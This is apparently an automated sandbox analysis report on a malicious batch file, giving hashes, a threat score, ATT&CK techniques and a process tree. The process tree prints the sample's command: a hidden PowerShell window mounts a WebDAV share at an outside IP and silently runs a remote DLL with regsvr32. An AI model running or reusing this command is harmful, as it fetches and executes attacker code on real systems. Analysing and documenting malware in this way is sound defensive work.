526d3423b43a9571ccb1516090bccc5c69ea8ce96200c19a1dd54808067efb63

Analysis

max time kernel
137s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 22:23

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General

Target

261463194548020265.bat
Size

16KB
MD5

0b84678193f96f2090de54dcb8873cd2
SHA1

361c1f8bd67b4637344b9d9be78dd9057731f97e
SHA256

526d3423b43a9571ccb1516090bccc5c69ea8ce96200c19a1dd54808067efb63
SHA512

c4784f3508a344da79ef672c734b5a55941a47e8c786795262453d5ccfa47d6cae6a344389de63b9c081308f778de47b7b6daa5d3e78dae99e2694a04a2aa6d3
SSDEEP

384:094Z75OcyuEY2O3tbMh9RlmRsTo0SVJ9wzMh4eAE:w4hRibwT9uq4eAE

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3064	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3064	powershell.exe
3064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3092	wordpad.exe
3092	wordpad.exe
3092	wordpad.exe
3092	wordpad.exe
3092	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 3092	4148	cmd.exe	87
PID 4148 wrote to memory of 3092	4148	cmd.exe	87
PID 4148 wrote to memory of 3064	4148	cmd.exe	89
PID 4148 wrote to memory of 3064	4148	cmd.exe	89
PID 3064 wrote to memory of 4932	3064	powershell.exe	91
PID 3064 wrote to memory of 4932	3064	powershell.exe	91
PID 3064 wrote to memory of 2120	3064	powershell.exe	92
PID 3064 wrote to memory of 2120	3064	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\261463194548020265.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4932
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll
    3⤵
    PID:2120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3by3znuj.0w0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3064-9-0x0000018150C90000-0x0000018150CB2000-memory.dmp

Filesize
136KB

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